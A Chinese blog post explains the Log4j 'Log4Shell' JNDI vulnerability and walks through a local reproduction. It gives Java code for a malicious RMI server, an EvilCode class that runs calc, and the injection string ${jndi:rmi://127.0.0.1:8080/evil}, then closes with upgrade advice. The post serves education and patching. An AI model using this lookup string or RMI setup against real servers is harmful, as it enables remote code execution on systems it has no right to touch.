log4j漏洞原理以及漏洞复现
前言:
十几天前,log4j被爆出“史诗级”漏洞。其危害非常大,影响非常广。该漏洞非常容易利用,可以执行任意代码。这个漏洞的影响可谓是重量级的。
漏洞描述:
由于Apache Log4j存在递归解析功能,未取得身份认证的用户,可以从远程发送数据请求输入数据日志,轻松触发漏洞,最终在目标上执行任意代码。简单点说,就是可以通过输入一些具有特殊意义的字符来攻击服务器。
如果入侵者在前端页面上输入了:${jndi:rmi://127.0.0.1:8080/evil} 这串字符, 然后后台用log4j记录了这串字符, log4j会自动使用jndi调用这个地址上的rmi内容。如果这个rmi的内容是删除数据库,重启服务器这种恶意程序,被攻击之后还是趁早跑路吧。(开个玩笑)
关于JNDI:
JNDI(Java Naming and Directory Interface)是Java提供的Java 命名和目录接口。通过调用JNDI的API应用程序可以定位资源和其他程序对象。JNDI是Java EE的重要部分,需要注意的是它并不只是包含了DataSource(JDBC 数据源),JNDI可访问的现有的目录及服务有:JDBC、LDAP、RMI、DNS、NIS、CORBA,摘自百度百科。
关于RMI:
RMI(remote method invocation)即远程方法调用,是允许运行在一个java虚拟机上的对象调用运行在另外一个java虚拟机上的对象的方法,JAVA RMI实现JAVA程序之间跨越JVM的远程通信。通过RMI可以让调用远程JVM上对象方法,仿佛调用本地JVM上对象方法一样简单、快捷。
漏洞复现:
首先,可以先创建一个普通的maven项目, 在pom中引入log4j2.14.0
<dependencies> <dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-api</artifactId> <version>2.14.0</version> </dependency> <dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-core</artifactId> <version>2.14.0</version> </dependency> </dependencies>
再创建一个用于开启RMI服务端的java文件
import com.sun.jndi.rmi.registry.ReferenceWrapper; import javax.naming.NamingException; import javax.naming.Reference; import java.rmi.AlreadyBoundException; import java.rmi.RemoteException; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; public class RMIServer { public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException, AlreadyBoundException { LocateRegistry.createRegistry(8080); final Registry registry = LocateRegistry.getRegistry("127.0.0.1", 8080); Reference ref = new Reference("EvilCode", "EvilCode", null); final ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref); registry.bind("evil", referenceWrapper); System.out.println("启动成功"); } }
再创建EvilCode恶意程序攻击类, 这里由于是自己的电脑, 还是用经典的calc计算器举粟
public class EvilCode { static { System.err.println("打开计算器"); try { Runtime.getRuntime().exec("calc"); } catch ( Exception e ) { e.printStackTrace(); } } }
最后创建一个启动类, 用于模拟我们的服务器程序, 使用log4j打印日志
import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.Logger; public class Main { static Logger logger = LogManager.getLogger(); public static void main(String[] args) { //用input局部变量来模拟入侵者输入的内容 String input = "${jndi:rmi://127.0.0.1:8080/evil}"; //这里直接用log4j输入 logger.error(input); } }
先启动RMIServer, 再启动Main, 可以看到, 计算器被弹出了:
可以升级log4j最新版本或者更新jdk较高版本来解决这个问题
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步